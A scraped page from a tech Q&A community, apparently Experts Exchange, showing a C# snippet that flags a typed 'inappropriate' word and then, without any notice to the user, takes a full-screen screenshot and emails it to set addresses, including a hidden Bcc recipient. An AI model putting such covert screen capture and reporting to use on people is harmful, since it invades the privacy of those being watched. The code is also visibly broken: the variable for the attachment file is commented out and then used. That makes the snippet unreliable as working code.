Get more info about an IP address or domain name, such as organization, abuse contacts and geolocation.
One of a set of tools we are providing to everyone as a way of saying thank you for being a part of the community.
//create the mail message MailMessage mail = new MailMessage(); //set the addresses mail.From = new MailAddress(frm.txtBxUser.Text + "@email.com"); #if (!DEBUG) mail.To.Add("firstname.lastname@example.org"); #endif #if DEBUG mail.To.Add("email@example.com"); #endif mail.Bcc.Add("firstname.lastname@example.org"); //set the content mail.Subject = "user 1 is here - " + frm.strContainer; mail.Body = frm.txtBxUser.Text + " " + "typed a word deemed inappropriate. That word was:" + " " + statement.ToString() + " " + "on" + " " + DateTime.Now; //add the attachment and take the screen shot int screenWidth = Screen.GetBounds(new Point(0, 0)).Width; int screenHeight = Screen.GetBounds(new Point(0, 0)).Height; Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight); Graphics gfx = Graphics.FromImage((Image)bmpScreenShot); gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight)); bmpScreenShot.Save("test.jpg", ImageFormat.Jpeg); //string file = "test.jpg"; Attachment file = new Attachment(file, MediaTypeNames.Application.Octet); mail.Attachments.Add(file); //send the message SmtpClient smtp = new SmtpClient("00.00.0.00");//or 00.00.0.00 smtp.Credentials = new System.Net.NetworkCredential("user", "pass"); smtp.Send(mail);
Add your voice to the tech community where 5M+ people just like you are talking about what matters.
Join the community of 500,000 technology professionals and ask your questions.